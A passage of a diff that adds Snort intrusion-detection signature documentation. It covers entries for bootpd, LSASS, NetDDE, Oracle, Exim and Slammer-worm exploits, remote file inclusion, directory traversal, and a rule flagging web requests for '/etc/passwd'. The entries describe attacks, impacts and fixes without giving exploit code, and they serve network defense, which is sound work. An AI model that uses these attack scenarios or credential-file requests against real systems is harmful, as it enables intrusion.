+Install the latest patches available for your operating system. See http://www.microsoft.com/technet/security/bulletin/ms99-034.asp for more information.
+
+Implement a packet-filtering firewall to block inappropriate traffic to the network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/514
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms99-034.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/319.txt
+++ snort-2.8.5.2/doc/signatures/319.txt
@@ -0,0 +1,64 @@
+SID:
+319
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a vulnerable 
+version of bootpd
+--
+
+Impact:
+If attack is successful, total system compromise from a remote attacker
+--
+
+Detailed Information:
+Due to improper handling of bounds checking in bootp request packets 
+Bootpd version 2.4.3(and earlier) is susceptible to several types of 
+buffer overflows. A successful exploit will result in complete 
+compromise of the attacked system. Any system running Bootpd version 
+Stanford University bootpd 2.4.3 should consider themselves vulnerable
+--
+
+Affected Systems:
+	Debian Linux 1.1 
+	Debian Linux 1.2 
+	Debian Linux 1.3 
+	Debian Linux 1.3.1 
+	Debian Linux 2.0 
+	Stanford University bootpd 2.4.3
+--
+
+Attack Scenarios:
+An attacker can exploit vulnerable bootpd servers and modify system 
+files as the root user or create a shell with root privileges
+--
+
+Ease of Attack:
+Simple, Sample code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have supplied patched versions of bootpd, upgrade
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2534.txt
+++ snort-2.8.5.2/doc/signatures/2534.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2534
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/471.txt
+++ snort-2.8.5.2/doc/signatures/471.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+
+Sid:
+471
+
+--
+
+Summary:
+This event is generated when Icmpenum v1.1.1 generates an ICMP datagram.
+
+--
+
+Impact:
+ICMP echo requests are used to determine if a host is running at a
+specific IP address.  A remote attacker can scan a large range of hosts
+using ICMP echo requests to determine what hosts are operational on the
+network.
+
+--
+
+Detailed Information:
+Icmpenum v1.1.1 generates an ICMP Type 0 datagram with an ICMP ID of 666, an ICMP
+sequence number of 0, and an ICMP datagram size of 0.  
+
+--
+
+Attack Scenarios:
+A remote attacker might scan a large range of hosts using ICMP echo
+requests to determine what hosts are operational on the network.
+
+--
+
+Ease of Attack:
+Simple.  Packet generation tools can generate this type of ICMP packet
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+Packet generation tools can generate ICMP Echo requests with
+user-defined payloads that emulate this application.
+
+--
+
+Corrective Action:
+To prevent information gathering, use ingress filtering to block
+incoming ICMP Type 8 Code 0 traffic.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.whitehats.com/info/IDS450
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3007.txt
+++ snort-2.8.5.2/doc/signatures/3007.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+3007
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the DELETE command of the IPSwitch IMail IMAP service.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that the IPSwitch IMail IMAP service
+handles a DELETE command.  An excessively long user-supplied mailbox name
+to be deleted can trigger a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	IPSwitch IMail IMAP4 server 8.13
+
+--
+Attack Scenarios:
+An attacker can supply an overly long mailbox name for deletion, possibly causing
+denial of service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2299.txt
+++ snort-2.8.5.2/doc/signatures/2299.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2299
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2335.txt
+++ snort-2.8.5.2/doc/signatures/2335.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+2335
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in AppleShare IP FTP Server.
+
+--
+Impact:
+Denial of Service (DoS)
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious
+activity in FTP traffic between hosts.
+
+It is possible for a user to supply data to an FTP command, in this case
+RMD, and cause the service to become unavailble to other users.
+
+--
+Affected Systems:
+	Apple AppleShare IP 5.0, 5.0.1, 5.0.2, 5.0.3
+	Apple AppleShare IP 6.1, 6.2, 6.3, 6.3.1
+
+--
+Attack Scenarios:
+An attacker needs to login to the service and use the RMD command in a
+specific manner to cause the DoS.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1594.txt
+++ snort-2.8.5.2/doc/signatures/1594.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1594
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/375.txt
+++ snort-2.8.5.2/doc/signatures/375.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+375
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Linux or Berkeley Systems Development (BSD) host running the reconnaissance tool SING.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running Linux or BSD using the SING reconnaissance tool contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Ofir Arkin < ofir@sys-security.com> 
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS447
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2745.txt
+++ snort-2.8.5.2/doc/signatures/2745.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2745
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_snapshot_propagation
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/900.txt
+++ snort-2.8.5.2/doc/signatures/900.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+900
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3128.txt
+++ snort-2.8.5.2/doc/signatures/3128.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3128
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1059.txt
+++ snort-2.8.5.2/doc/signatures/1059.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1059
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000846.txt
+++ snort-2.8.5.2/doc/signatures/100000846.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000846
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Subberz Lite" application running on a webserver. Access to the file "user-func.php" using a remote file being passed as the "myadmindir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "myadmindir" parameter in the "user-func.php" script used by the "Subberz Lite" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Subberz Lite
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2708.txt
+++ snort-2.8.5.2/doc/signatures/2708.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2708
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_flavor_change
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2967.txt
+++ snort-2.8.5.2/doc/signatures/2967.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2967
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2594.txt
+++ snort-2.8.5.2/doc/signatures/2594.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2594
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2509.txt
+++ snort-2.8.5.2/doc/signatures/2509.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2509
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2003.txt
+++ snort-2.8.5.2/doc/signatures/2003.txt
@@ -0,0 +1,79 @@
+Rule:  
+
+--
+Sid:
+2003
+
+--
+Summary:
+
+This event is generated when an attempt is made by the "Slammer" worm to compromise a Microsoft SQL Server.
+
+--
+Impact:
+A worm targeting a vulnerability in the MS SQL Server 2000 Resolution 
+Service was released on January 25th, 2003.  The worm attempts to 
+exploit a buffer overflow in the Resolution Service.  Because of the 
+nature of the vulnerability, the worm is able to attempt to compromise 
+other machines very rapidly.
+
+--
+Detailed Information:
+The Monitor Service provided by MS SQL and MSDE uses unchecked client
+provided data in an SQL version check function.
+
+The worm attempts to exploit a buffer overflow in this version request.
+If the worm sends too many bytes in the request that triggers the 
+version check, then a buffer overflow condition is triggered resulting 
+in a potential compromise of the SQL Server.
+
+--
+Affected Systems:
+This vulnerability is present in unpatched MS SQL Servers.  The following unpatched services containing MS SQL or Microsoft Desktop Engine (MSDE) may potentially be compromised by this worm:
+
+* SQL Server 2000 (Developer, Standard, and Enterprise Editions)
+* Visual Studio .NET (Architect, Developer, and Professional Editions)
+* ASP.NET Web Matrix Tool
+* Office XP Developer Edition
+* MSDN Universal and Enterprise subscriptions
+
+--
+Attack Scenarios:
+This is worm activity.
+
+--
+Ease of Attack:
+Exploits for this vulnerability have been publicly published.
+
+A worm has been written that automatically exploits this vulnerability.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+Block external access to the MS SQL services on port 1433 and 1434 if 
+possible.
+
+Patches from Microsoft are available that fix this vulnerability.  The 
+patches are available from
+
+www.microsoft.com/technet/security/bulletin/MS02-039.asp
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1122.txt
+++ snort-2.8.5.2/doc/signatures/1122.txt
@@ -0,0 +1,66 @@
+Rule:
+
+Sid:
+--
+1122
+
+Summary:
+--
+This event is generated when an attempt is made to retrieve a protected
+system file on a host via a web request.
+
+--
+Impact:
+Information Gathering.
+
+--
+Detailed Information:
+The passwd file usually found in the /etc/ directory on UNIX based
+systems, contains login information for users of a host. If shadow
+password files are not being used, an attacker could obtain valid login
+information for the system by using widely available password cracking
+tools on the file.
+
+The file may also be used to garner information that may be used in
+brute force password guessing attacks against the host.
+
+--
+Affected Systems:
+	All UNIX based systems running a Web Server.
+ 
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 
+'/etc/passwd'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries 
+outside of it's designated web root or cgi-bin. This file may also be 
+requested on a command line should the attacker gain access to the 
+machine. Making the file read only by the superuser on the system will 
+disallow viewing of the file by other users.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3042.txt
+++ snort-2.8.5.2/doc/signatures/3042.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3042
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/644.txt
+++ snort-2.8.5.2/doc/signatures/644.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 644
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing Sparc Solaris/SunOS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
